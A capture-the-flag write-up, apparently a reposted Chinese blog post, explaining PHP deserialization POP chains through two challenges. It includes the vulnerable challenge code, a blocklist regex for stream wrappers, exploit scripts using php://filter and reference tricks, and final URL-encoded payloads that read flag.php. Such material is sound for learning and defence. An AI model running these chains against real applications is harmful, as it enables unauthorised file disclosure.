PHP反序列化—构造POP链
生活随笔
收集整理的這篇文章主要介紹了
PHP反序列化—构造POP链
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
前言:
最近在刷題的時候發現這個PHP反序列化—POP鏈,之前理解的序列化攻擊多是在魔術方法中出現一些利用的漏洞,自動調用從而觸發漏洞。但如果關鍵代碼不在魔術方法中,而是在一個類的普通方法中。這時候可以通過尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。
直接通過題目來進行學習,這樣更容易掌握!!!
Ezpop
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);} }class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}} }class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['pop'])){@unserialize($_GET['pop']); } else{$a=new Show;highlight_file(__FILE__); }將涉及到的魔法函數先列出一下:
__construct 當一個對象創建時被調用, __toString 當一個對象被當作一個字符串被調用。 __wakeup() 使用unserialize時觸發 __get() 用于從不可訪問的屬性讀取數據 #難以訪問包括:(1)私有屬性,(2)沒有初始化的屬性 __invoke() 當腳本嘗試將對象調用為函數時觸發POP鏈的開始是Show類開始,到Modifier類結束,更準確的說應該是到__invoke()結束。分析流程如下:
流程就是這樣,一層一層的觸發
#y1ng師傅的腳本,有些地方還是不太清楚之后再看看,慢慢理解 <?phpclass Modifier {protected $var = "php://filter/convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct($file){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return "www.gem-love.com";} }class Test{public $p;public function __construct(){$this->p = new Modifier();} }$o = new Show('aaa'); $o->str= new Test();#觸發__get()方法,需要訪問不存在的成員變量 $y1ng = new Show($o); echo urlencode(serialize($y1ng));安恒月賽babygo
<?php @error_reporting(1); include 'flag.php'; class baby { protected $skyobj; public $aaa;public $bbb;function __construct() { $this->skyobj = new sec;} function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename; public $nice;public $amzing; function read() { $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;if($this->nice->aaa === $this->nice->bbb){$file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } }} } class sec { function read() { return "it's so sec~~"; } } if (isset($_GET['data'])) { $Input_data = unserialize($_GET['data']);echo $Input_data; } else { highlight_file("./index.php"); } ?>分析流程:
下面就來構造POP鏈,發現$this->nice = unserialize($this->amzing);,可以先構造到這個地方
class baby { protected $skyobj; public $aaa;public $bbb;function __construct() { $this->skyobj = new cool;//更改為cool類} function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename='flag.php'; public $nice;public $amzing; function read() { $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;if($this->nice->aaa === $this->nice->bbb){$file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } }} } $lemon = new baby(); echo urlencode(serialize($lemon));這樣amazing便是一個序列化后的baby類的對象
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D接下來就是如何繞過if條件和未知變量 $sth的問題,可以通過使用指針來進行繞過
指針在運行時可以改變其所指向的值,而引用一旦和某個對象綁定后就不再改變
$a->bbb =&$a->aaa; #通過指針,bbb會跟隨aaa動態改變接下來就來構造最終的EXP:
<?php class baby { protected $skyobj; public $aaa;public $bbb;function __construct() { $this->skyobj = new cool;//更改為cool類} function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename='./flag.php'; public $nice;public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D '; function read() { $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;} } $a = new baby(); $a->bbb =&$a->aaa; echo urlencode(serialize($a));最終payload:
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A245%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253Bs%253A8%253A%2522flag.php%2522%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BN%253B%257D%0A%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D
這里需要轉換下思維,仔細想想之前所做的都是在繞過一些魔法函數之類的,構造POP鏈相當于給出了這些類,需要從這些類中關系串成一個新的代碼,傳入執行,現在是這樣理解的,如有錯誤還請師傅們指出。
未完待續。。。等再遇到一些題目涉及到POP鏈再來補充!
總結
以上是生活随笔為你收集整理的PHP反序列化—构造POP链的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP原生类反序列化
- 下一篇: PHP弱类型及一些绕过姿势